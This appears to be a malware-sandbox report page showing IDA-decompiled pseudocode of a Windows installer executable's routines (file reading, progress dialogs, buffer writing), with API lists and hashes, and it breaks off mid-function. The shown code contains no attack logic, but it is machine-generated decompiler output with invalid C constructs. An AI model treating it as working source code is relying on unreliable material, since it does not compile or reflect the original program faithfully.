Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040264A(intOrPtr __ebx, intOrPtr __edx, void* __esi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x48)) = _t65;
				_t66 = E00402C1F(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t72;
				 *((intOrPtr*)(_t76 - 0x3c)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x4702e8 =  *0x4702e8 +  *(_t76 - 4);
				} else {
					__ecx = 0x1fff;
					if(__eax > 0x1fff) {
						 *(__ebp - 0x3c) = 0x1fff;
					}
					if( *__esi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x30) = __ebx;
						 *(__ebp - 0x10) = E00406348(__ecx, __esi);
						if( *(__ebp - 0x3c) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x2c)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx ||  *(__ebp - 8) != __ebx || E00405FBF( *(__ebp - 0x10), __ebx) >= 0) {
										__eax = __ebp - 0x44;
										if(E00405F61( *(__ebp - 0x10), __ebp - 0x44, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x38;
									_push(__ebx);
									_push(__ebp - 0x38);
									__eax = 2;
									__ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x10), __ebp + 0xa, __ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x38);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x48) = __ecx;
											 *(__ebp - 0x44) = __eax;
											if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E0040632F( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x44 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x44, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x44);
												} else {
													__esi =  *(__ebp - 0x48);
													__esi =  ~( *(__ebp - 0x48));
													while(1) {
														_t22 = __ebp - 0x38;
														 *_t22 =  *(__ebp - 0x38) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x44) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x48) =  *(__ebp - 0x48) - 1;
														__esi = __esi + 1;
														SetFilePointer( *(__ebp - 0x10), __esi, __ebx, 1) = __ebp - 0x44;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x38), __ebp - 0x44, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x30) == 0xd ||  *(__ebp - 0x30) == 0xa) {
														if( *(__ebp - 0x30) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x48) =  ~( *(__ebp - 0x48));
															__eax = SetFilePointer( *(__ebp - 0x10),  ~( *(__ebp - 0x48)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x30) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x3c));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x0040264a
0x0040264c
0x0040264f
0x00402651
0x00402654
0x00402659
0x0040265d
0x00402660
0x00402663
0x00402ac5
0x00402ac8
0x00402669
0x00402669
0x00402670
0x00402672
0x00402672
0x00402678
0x004027dc
0x004027dc
0x004027df
0x004027e4
0x004015b6
0x0040288b
0x0040288b
0x00000000
0x0040267e
0x0040267f
0x0040268a
0x0040268d
0x00402699
0x0040269d
0x00402735
0x0040274d
0x0040275d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004026a3
0x004026a3
0x004026a6
0x004026a7
0x004026aa
0x004026af
0x004026b6
0x004026be
0x00000000
0x004026c4
0x004026c4
0x004026c9
0x00000000
0x004026cf
0x004026cf
0x004026d7
0x004026da
0x004026dd
0x00402798
0x0040279f
0x004026e3
0x004026e9
0x004026f5
0x0040275f
0x0040275f
0x004026f7
0x004026f7
0x004026fa
0x004026fc
0x004026fc
0x004026fc
0x004026ff
0x00402704
0x00402707
0x00000000
0x00000000
0x00402709
0x0040270c
0x0040271a
0x00402720
0x0040272e
0x00000000
0x00402730
0x00000000
0x00402730
0x00000000
0x0040272e
0x004026fc
0x00402762
0x00402765
0x00000000
0x00402767
0x0040276c
0x004027ad
0x004027cf
0x004027d6
0x004027bb
0x004027bb
0x004027be
0x004027c1
0x004027c4
0x004027c4
0x00000000
0x00402775
0x00402775
0x00402778
0x0040277b
0x00402781
0x00402785
0x00402788
0x00000000
0x00000000
0x00000000
0x00000000
0x00402788
0x0040276c
0x00402765
0x004026dd
0x004026c9
0x004026be
0x00000000
0x0040278a
0x0040278a
0x0040278d
0x00402796
0x00000000
0x0040268d
0x00402678
0x00402ace
0x00402ad4

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e21ce50e3bc186423d5f263590ea0ce87cda2b105fdcc84cfa68da8edc0d4225
Instruction ID: eb16fdd1ee542fe42bbdfa0ebba740301294627c6441dfc4cb46f4c2e9c1cdcc
Opcode Fuzzy Hash: e21ce50e3bc186423d5f263590ea0ce87cda2b105fdcc84cfa68da8edc0d4225
Instruction Fuzzy Hash: FF511A75D00219AEDF21DF95DA88AAEB775FF04304F50443BE905B72D0DBB89982CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405450(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x468224;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x470314;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E0040640A(_t38, 0, 0x43e708, 0x43e708, _a4);
					}
					_t27 = lstrlenW(0x43e708);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x468208, 0x43e708);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x43e708;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x43e708[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x8000) {
							_t27 = lstrcatW(0x43e708, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x00405456
0x00405460
0x00405465
0x0040546b
0x00405476
0x00405479
0x0040547c
0x00405482
0x00405482
0x00405488
0x00405490
0x00405493
0x004054b0
0x004054b4
0x004054bd
0x004054bd
0x004054c7
0x004054d0
0x004054dc
0x004054e3
0x004054e7
0x004054ea
0x004054fd
0x0040550b
0x0040550b
0x0040550f
0x00405511
0x00405514
0x00000000
0x00405514
0x00405495
0x0040549d
0x004054a5
0x004054ab
0x00000000
0x004054ab
0x004054a5
0x00405493
0x00405520

APIs

lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction ID: b152cc9d973ae9b63f3bddadd0b016ecede68a0b65af60167b2766ac6abf260a
Opcode Fuzzy Hash: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction Fuzzy Hash: 1721A171900518BADB119F96DD84ACFBFB5EF44314F10803AF904B22A1C7798A90CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E8E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x42a6dc; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x42a6dc = 0;
					return _t15;
				}
				__eflags =  *0x42a6dc; // 0x0
				if(__eflags != 0) {
					return E004067FE(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x470250;
				if(_t6 >  *0x470250) {
					__eflags =  *0x470248;
					if( *0x470248 == 0) {
						_t7 = CreateDialogParamW( *0x470240, 0x6f, 0, E00402DF3, 0);
						 *0x42a6dc = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x470314 & 0x00000001;
					if(( *0x470314 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00402E72());
						return E00405450(0,  &_v132);
					}
				}
				return _t6;
			}

0x00402e9d
0x00402e9f
0x00402ea6
0x00402ea9
0x00402ea9
0x00402eaf
0x00000000
0x00402eaf
0x00402eb7
0x00402ebd
0x00000000
0x00402ec0
0x00402ec7
0x00402ecd
0x00402ed3
0x00402ed5
0x00402edb
0x00402f19
0x00402f22
0x00000000
0x00402f27
0x00402edd
0x00402ee4
0x00402ef5
0x00000000
0x00402f03
0x00402ee4
0x00402f2f

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32 ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,0002581B), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction ID: 498445d7746695eb5746344947d7fa5b32a20b045a0bc4bf054171d5bd846382
Opcode Fuzzy Hash: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction Fuzzy Hash: C901C4B0801614EBC7226B60FE4CA9B7B68BB00745B14013BF885F11E1CBB84855EFDE

Uniqueness

Uniqueness Score: -1.00%

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D1A(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404d28
0x00404d35
0x00404d3b
0x00404d79
0x00404d79
0x00404d88
0x00404d8f
0x00000000
0x00404d91
0x00404d3d
0x00404d4c
0x00404d54
0x00404d57
0x00404d69
0x00404d6f
0x00404d76
0x00000000
0x00404d76
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32 ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DF3(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402E72();
					_t19 = L"unpacking data: %d%%";
					if( *0x470254 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402e03
0x00402e11
0x00402e17
0x00402e17
0x00402e25
0x00402e27
0x00402e33
0x00402e38
0x00402e3a
0x00402e3a
0x00402e45
0x00402e55
0x00402e67
0x00402e67
0x00402e6f

APIs

SetTimer.USER32 ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32 ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction ID: e56410310a72084f4d909e549713b6ef5e7faa8c618e51606751afd800fe69ca
Opcode Fuzzy Hash: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction Fuzzy Hash: 28F0317064020CABDF206F60DD4EBEE3B69EB40319F00803AFA45B51D0DBF999598F99

Uniqueness

Uniqueness Score: -1.00%

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004028AD(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x30)) = 0xfffffd66;
				_t50 = E00402C41(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E00405D34(_t50) == 0) {
					E00402C41(0xffffffed);
				}
				E00405EB9(_t50);
				_t26 = E00405EDE(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x470258;
					 *(_t56 - 0x3c) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E0040345D(_t45);
						E00403447(_t49,  *(_t56 - 0x3c));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
						 *(_t56 - 0x4c) = _t54;
						if(_t54 != _t45) {
							E004031D6(_t47,  *((intOrPtr*)(_t56 - 0x24)), _t45, _t54,  *(_t56 - 0x20));
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x34) =  *_t54;
								E00405E99( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x34);
							}
							GlobalFree( *(_t56 - 0x4c));
						}
						E00405F90( *(_t56 + 8), _t49,  *(_t56 - 0x3c));
						GlobalFree(_t49);
						 *((intOrPtr*)(_t56 - 0x30)) = E004031D6(_t47, 0xffffffff,  *(_t56 + 8), _t45, _t45);
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x30)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004028ad
0x004028af
0x004028bb
0x004028be
0x004028c8
0x004028cc
0x004028cc
0x004028d2
0x004028df
0x004028e7
0x004028ea
0x004028f0
0x004028fe
0x00402903
0x00402907
0x0040290a
0x00402913
0x0040291f
0x00402923
0x00402926
0x00402930
0x0040294f
0x00402937
0x0040293c
0x00402944
0x00402947
0x0040294c
0x0040294c
0x00402956
0x00402956
0x00402963
0x00402969
0x0040297b
0x0040297b
0x00402981
0x00402981
0x0040298c
0x0040298d
0x00402991
0x00402995
0x0040299b
0x0040299b
0x004029a2
0x0040224b
0x00402ac8
0x00402ad4

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32 ref: 00402956
GlobalFree.KERNEL32 ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction ID: cde632e975db2237da1c3b35629bcc1af8e7f74e244a4afe6fc019873d9bc44b
Opcode Fuzzy Hash: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction Fuzzy Hash: D921BFB1C00124BBCF116FA5DE48D9E7E79EF09324F10023AF9647A2E1CB794D418B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404C0C(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
